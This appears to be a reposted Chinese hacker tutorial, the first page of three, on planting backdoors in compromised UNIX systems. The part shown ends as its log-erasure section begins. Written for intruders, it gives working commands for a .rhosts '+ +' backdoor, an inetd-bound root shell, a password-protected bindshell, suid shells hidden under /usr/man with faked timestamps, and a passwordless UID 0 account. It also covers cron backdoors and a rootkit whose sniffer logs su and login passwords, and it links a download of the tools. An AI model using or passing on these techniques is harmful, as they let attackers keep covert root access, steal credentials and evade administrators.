分享
 
 
 

UNIX系统后门的安放和日志的擦除

王朝system·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

UNIX系统后门的安放和日志的擦除

教程所需软件:http://us2001.myetang.com/tools/huckit.zip

一.后门的安放

当我们通过某种手段控制一个主机时,为了使自己能再次光顾这台计算机,我们通常在这个机器上留下后门,以便我们再次访问.一个做得好的后门,即使在入侵被管理员发现后,仍然能让你再次访问到主机.

本文的意旨是让你学会如何在完全控制系统后保留自己的根用户权限,下面介绍一下我常用的制作后门的手法,不会也不可能覆盖到所有可能的方法,请原谅.

1.Rhosts + + 后门

在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

例如:

# echo '+ + ' > /usr/bin/.rhosts

# cat /usr/bin/.rhosts

+ +

# rlogin -l bin localhost

将不用输入密码直接用bin帐号rlogin登陆进你的机器.

2.Login后门

在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.

一般的rootkit包里都有login后门程序.

3.服务进程后门

inetd 进程负责监听各个TCP和UDP端口的连接请求,并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单,基本形式如下:

(1) (2) (3) (4) (5) (6) (7)

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd

login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat

talk dgram udp wait root /usr/sbin/in.talkd in.talkd

1:第一栏是服务名称。服务名通过查询 /etc/services 文件(供 TCP 和 UDP 服务使用)或 portmap 守护进程(供 RPC 服务使用)映射成端口号。RPC(远程过程调用)服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。

2:第二栏决定服务使用的套接口类型:stream、dgram 或 raw。一般说来,stream 用于 TCP 服务,dgram 用于 UDP, raw 的使用很少见。

3:第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。

4:如果所说明的服务一次可处理多个请求(而不是处理一个请求后就退出),那么第四栏应置成 wait,这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适,那么在本栏中填 nowait。

5:第五栏给出运行守护进程的用户名。

6:第六栏给出守护进程的全限定路径名。

7:守护进程的真实名字及其参数。 如果所要处理的工作微不足道(如不需要用户交互),inetd 守护进程便自己处理。此时第六、七栏只需填上 'internal' 即可。所以,要安装一个便利的后门,可以选择一个不常被使用的服务,用可以产生某种后门的守护进程代替原先的守护进程。例如,让其添加 UID 0 的帐号,或复制一个 suid shell。

当然我们有一个更简单的方法,

下面的操作bind root shell 1524端口.

# echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x

# /usr/sbin/inetd -s /tmp/.x

# rm -f /tmp/.x

# telnet localhost 1524

Trying 127.0.0.1...

Connected to localhost. Escape character is '^]'.

#

# id

ksh: id^M: not found

# id;

uid=1002(gao) gid=1(other) euid=0(root)

ksh: ^M: not found

# exit;

Connection closed by foreign host.

#

注意,这样bind的shell在telnet上去后,你要在你想执行的命令后面添加一个" ; "号.即你要执行id命令的输入应为: id;

当然你也可以把ingreslock换成其他服务.具体请查看/etc/services寻找对应的服务名和端口.

下面为部分/etc/services内容.

# cat /etc/services

#ident "@(#)services 1.20 98/07/08 SMI" /* SVr4.0 1.8 */

#

# Network services, Internet style

#

tcpmux 1/tcp

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp

mail time 37/tcp timserver

time 37/udp timserver

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/udp

domain 53/tcp

bootps 67/udp # BOOTP/DHCP server

bootpc 68/udp # BOOTP/DHCP client

...

...

4.port bind suid Shell 后门

入侵者可能在任意端口bind suid Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉.

我提供的压缩包door.zip里有一个ekobackdoor-v1.1.tar,为linux下的bindshell程序包.大家可以自己编译一下.

方法为,

修改ekobdoor.c

查找

#define PASSWORD "ekorulez"

把"ekorulez" 改成你要的密码.

比如

#define PASSWORD "cnhonker"

把ekobackdoor-v1.1.tar解压然后make

就可以了.

具体使用方法为:

# ./ekobdoor [opcion] [argumento]

下面为不用输入密码的

# ./ekobdoor -b 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

#

下面为需要输入密码的.

# ./ekobdoor -s 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

cnhonker --->输入密码.

#

这里的31337你可以改成你想要的端口.

当然它还有更多其他功能.具体你用 -h 查看

#./ekobdoor -h

5.suid shell

在 /tmp 或者其他的目录下放置 suid shell。以后只要你运行这个程序,就会轻易得到根用户权限。

#cp /bin/ksh /tmp/.sh

#chown root:root /tmp/.sh

#chmod +s /tmp/.sh

当你运行/tmp/.sh时,

这里我们用ksh shell是因为ksh 可以suid.换成其他的shell也许可能不行,具体看各个主机的情况而定.一般我们使用ksh.我们使用的溢出程序用来获得root权限的,也一般是溢出后执行/bin/ksh.

$id

uid=1002(oracle) gid=1(other)

$/tmp/.sh

#

#id

uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)

我们又是root了.

当然,为了更加隐蔽,我们不能把suid shell 放在/tmp

因为它是很容易被发现的.

我们应该放在深层的目录里面.

比如:

/usr/X11/include/X11/

或者

/usr/lib/

等等

通常我做的是:

# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...

# cp /bin/ksh /usr/lib/lib/.../lib

# chown root:sys /usr/lib/lib/.../lib

# chmod 4555 /usr/lib/lib/.../lib

# touch -r /bin/ksh /usr/lib/lib/.../lib

一个简单的suid shell安放好了.

不过,大家不要学我,我们要放在最隐蔽的地方.我新建目录的隐藏效果不是最好的.

我们必须利用现有的目录来安放,并且这个目录要有很多其它的文件做掩护.

大家不防试试/usr/man/下的目录.

很少管理员会检查这里的.

比如:

/usr/man/man1/

/usr/man/manl/

等.

比如:

# cp /bin/ksh /usr/man/man1/ja.1

:)当然具体要看你自己琢磨一下了.我敢说不难,最好多放置几个suid shell 在不同的目录.这样即使管理员发现了一个,也还有另外一个.:)

6.su 后门

在流行的rootkit包里,一般都有su 后门程序,当你在目标机器上安装了以后,只要你有普通用户的访问权限,就可以用su的后门密码su成你想要的用户.:)

例如在装过su后门的机器上运行:

$id

uid=1002(oracle) gid=1(other)

$su root

passwd:cnhonker ->su后门密码.

#

#id

uid=0(root) gid=0(root)

成功su成root.而不管root的密码为什么密码.

另外还有一种是su 木马,用来骗取su 密码的.这里不在详述.

7.修改密码文件

最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。

下面的操作增加一个不用密码的www用户,uid gid 都为0,还有最好先备份一下密码文件.

#cp /etc/passwd /tmp/passwd

#cp /etc/shadow /tmp/shadow

#echo 'www:x:0:0::/:/bin/sh' >> /etc/passwd

#echo 'www::::::::' >> /etc/shadow

# id uid=1002(gao) gid=1(other) euid=0(root) egid=0(root)

# su www

# id

uid=0(root) gid=0(root)

可以看到,su成www时将不用输入密码,同样,telnet 等也不用出示密码.

但这种方法很容易被发现,通常我们编辑密码文件修改里面没有使用的默认帐号.

8.Crontab 后门

根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:

(1) (2) (3) (4) (5) (6)

0 0 * * 3 /usr/bin/updatedb

以上内容设置/usr/bin/updatedb程序于每星期三 0:0 运行。

其中:

1. 分钟 (0-60)

2. 小时 (0-23)

3. 日 (1-31)

4. 月 (1-12)

5. 星期 (1-7)

6. 所要运行的程序

我们只需在 /var/spool/crontab/root 中添加我们的后门程序即可。

比如运行一个产生一个高位port的bind root shell的程序.或者替换服务进程的程序.

9.rootkit后门包

这也是最常用有效实用的方法.

这里我提供一个我修改过的编译好的sun os sparc下的rootkit包,在HUCkit.zip里的sun.tar

使用方法为:

在取得sun os sparc 的root权限后

#tar -xf sun.tar

#cd sun

#./setup cnhonker

就可以了.

其中,

cnhonker为你要设的rootkit密码.

如果你只运行./setup

那么程序会随机为你生成一个密码.请记住它.它可是你的通行证哦.

还有我取消了login后门的安装,因为它很容易暴露自己.并且很容易出错.

还有,完全装好后,不要忘了去/dev/prom

用cat查看每一个文件哦.

:)

哪里是嗅探器存放结果的地方.包括 mail ftp telnet rlogin su 等等.

# cat /dev/prom/sn.l

为mail ftp telnet rlogin等的记录

# cat /dev/prom/sulog

为su的密码记录.没有必要花时间去破解shadow文件哦.:)

其它的rootkit包大家引擎搜索一下就可以找到很多.这里不再提供.

二.日志的清除

由于涉及的系统广泛的问题,不可能将所有unix类系统的日志说清楚,但它们大多是差不多的,下面我只用常见的sunos & redhat做介绍.其它的系统请查看相关资料.

unix系统日志文件通常是存放在"/var/logand /var/adm"目录下的。通常我们可以查看syslog.conf来看看日志配置的情况.如:cat /etc/syslog.conf

其中sunos的在/var/log和 /var/adm下.还有/usr/adm为/var/adm的的链接.

redhat的在/var/log 和 /var/run下.

下面的是sun os5.7中的日志样本.

# ls /var/adm

acct log

[1] [2] [3] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有